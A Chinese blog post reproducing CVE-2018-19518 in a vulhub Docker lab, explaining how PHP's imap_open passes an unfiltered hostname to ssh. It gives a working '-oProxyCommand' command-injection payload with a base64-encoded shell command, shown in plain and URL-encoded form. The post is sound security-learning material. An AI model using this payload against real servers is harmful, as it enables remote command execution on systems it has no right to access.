首页 > 其他分享 >CVE-2018-19518复现练习

CVE-2018-19518复现练习

时间:2024-01-21 23:13:17浏览次数:29  
标签:19518 imap ssl 2018 CVE open IMAP ssh

概述

漏洞概述:imap_open函数在传递邮箱名给ssh之前没有正确过滤接收的参数,导致攻击者可以利用-oProxyCommand参数向IMAP服务器发起命令执行恶意代码
影响版本:Ubuntu、Debian、Red Hat、SUSE

环境搭建

cd /CVE-2018-19518
docker-compose up -d
image.png
查看网站的组件
image.png
直接看页面也没有什么思路,直接看代码

<?php
if(!empty($_POST)) {
    $imap = @imap_open('{'.$_POST['hostname'].':993/imap/ssl}INBOX', $_POST['username'], $_POST['password']);
}
?>
<?php if(!empty($_POST)): ?>
        <?php if($imap): ?>
            <div class="alert alert-success" role="alert">
                Connect successful!
            </div>
        <?php else: ?>
            <div class="alert alert-danger" role="alert">
                Connect failed!
            </div>
        <?php endif; ?>
        <?php endif; ?>

分析

imap_open工作

imap_open函数并不是PHP函数库的内置函数,只有PHP安装imap扩展后才会激活imap_open()函数,imap_open实现与IMAP服务器之间的通信,如果IMAP服务器的主机使用了PHP,并且配置了rsh服务,那么imap_open会使用rsh/ssh来建立与远程服务器的连接,imap_open会将连接参数传递给rsh或ssh命令,包括主机名、端口号、加密方式等。image.png

imap_open介绍PHP: imap_open - Manual
imap_open(
string $mailbox, //邮箱名称
string $user, //用户名
string $password,//密码
int $flags = 0,
int $retries = 0,
array $options = []
): IMAP\Connection|false
imap用来打开邮箱的IMAP流,就是用来连接邮箱,使用了IMAP协议,用于从邮件服务器上获取邮件信息、下载邮件等。
举例:
//To connect to an SSL IMAP or POP3 server, add /ssl after the protocol
//若要连接到 SSL IMAP 或 POP3 服务器,请在协议后添加 /ssl
$mbox = imap_open ("{localhost:993/imap/ssl}INBOX", "user_id", "password");

所以可以理解上面那段代码:
hostname是IP地址,993是端口名称,/imap表示使用imap协议,/ssl表示使用ssl对会话进行加密.
漏洞成因:
imap_open会调用rsh(debian/ubuntu会默认使用ssh)来远程执行命令,这里有一个需要解开的问题,我查了一些资料都没有讲解是如何调用rsh/ssh的,后面找到了一个解释:当能够使用SSH时,整个过程并不需要建立 IMAP 连接。 也就是说,imap_open 函数首先会建立SSH连接,如果认证通过,则会在没有 IMAP 连接的情况下继续执行,这就是所谓的 IMAP 预认证模式。

payload

利用ssh,ssh可以通过设置-oProxyCommand=来调用第三方命令,通过这个参数注入,最终实现命令执行。
注:传递邮箱名称,空格和斜杠会被转义掉,需要进行绕过。
x+-oProxyCommand=echo echo'1234567890'>/tmp/test0001|base64 -d|sh}
x:表示我们可以在操作服务器地址参数时操纵命令行
}:用来闭合接收变量一开始的括号
base64+url编码:
hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222
进入容器查看执行结果:
docker exec -it 容器id /bin/bash
image.png

总结

参考资料

https://blog.csdn.net/m0_46436640/article/details/119343765
https://www.freebuf.com/vuls/192712.html
https://xi4or0uji.github.io/2019/03/01/imap_open()%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%EF%BC%88CVE-2018-19518%EF%BC%89/
https://zhuanlan.zhihu.com/p/111986478
https://vulhub.org/#/environments/php/CVE-2018-19518/
https://forum.antichat.club/threads/463395/#post-4254681
https://www.cnblogs.com/biing/p/13049730.html

标签:19518,imap,ssl,2018,CVE,open,IMAP,ssh
From: https://www.cnblogs.com/Crayon-Blog/p/17978662

相关文章

  • (区间覆盖问题)P5019 [NOIP2018 提高组] 铺设道路和Educational Codeforces Round 158 (
    区间覆盖问题这里EducationalCodeforcesRound158(RatedforDiv.2)b题和[NOIP2018提高组]铺设道路两道典型题目,本质是相同的。这里由于题目多次出现,特此记录。解题思路:首先我们得对区间做划分,那么划分思路可以是从小到大也可以是从大到小的异常点来做划分(我这是由大到......
  • CVE-2023-46604
    ApacheActiveMQOpenWire协议反序列化命令执行漏洞(CVE-2023-46604)ApacheActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持java消息服务、集群、SpringFramework等。OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在ApacheActvieMQ5.18......
  • CVE-2012-1823复现练习
    环境搭建:DockerDesktop开启cd/CVE-2012-1823docker-composeup-d本地访问80端口分析PHP-CGI直接将用户的请求作为了PHP-CGI的参数执行,导致远程代码的执行。先上执行结果PHP的运行模式:CGI通用网关接口,接收网页浏览器的数据发送给web服务器,再把执行结果返回给浏览器参......
  • 实战技巧CVE-2015-0005
    启用SMB签名和通信会话签名后,应用服务器和客户端之间的所有流量都有签名验证保护,中间人gongji者因为无法伪造签名而不能与目标主机进行正常的通信。签名密钥SessionKey基于客户端账号的口令NTLM值生成,应用服务器在认证阶段从认证服务器获取;客户端采用和认证服务器相同的算法,基于自......
  • CVE-2022-44268 imageMagick LFI
    ImageMagick TheImageMagickisthetoolmodifythepicture.ThefunctionofImageMagickisELFfilenamedmagick.ThevulnerabilityversionofImageMagickis7.1.0-49ExploitItwilluseImageMagicktoresizetheimage,weneedtocreateamaliciousima......
  • SpiderFlow爬虫平台漏洞利用分析(CVE-2024-0195)
    1.漏洞介绍SpiderFlow爬虫平台项目中spider-flow-web\src\main\java\org\spiderflow\controller\FunctionController.java文件的FunctionService.saveFunction函数调用了saveFunction函数,该调用了自定义函数validScript,该函数中用户能够控制 functionName、parameters 或 sc......
  • 蓝桥杯2018省赛次数差
    x星球有26只球队,分别用a~z的26个字母代表。他们总是不停地比赛。在某一赛段,哪个球队获胜了,就记录下代表它的字母,这样就形成一个长长的串。 国王总是询问:获胜次数最多的和获胜次数最少的有多大差距?(当然,他不关心那些一次也没获胜的,认为他们在怠工罢了)#include<iostre......
  • 运城学院数学与信息技术学院 2017—2018学年第二学期期末考试
    运城学院数学与信息技术学院2017—2018学年第二学期期末考试程序设计基础试题(A)适用范围:计算机科学与技术专业1701\1702班网络工程专业1703\1704\1705班信息管理与信息系统专业1706班数字媒体技术专业1707\1708班通信工程专业1709\17010班 命题人: 南丽丽       ......
  • vulnhub-matrix(cve-2022-0847提权)
    环境准备靶机matrix192.168.116.134攻击机kali192.168.116.130演示启动靶机,使用nmap探测网段nmap192.168.116.0/24 扫描192.168.116.134全端口nmap-p1-65535192.168.116.134 访问网站 扫描目录gobusterdir-uhttp://192.168.116.134/-xphp,bak,tx......
  • OFBiz RCE漏洞复现(CVE-2023-51467)
    漏洞名称ApacheOFBiz鉴权绕过导致命令执行漏洞描述ApacheOFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。OFBiz最主要......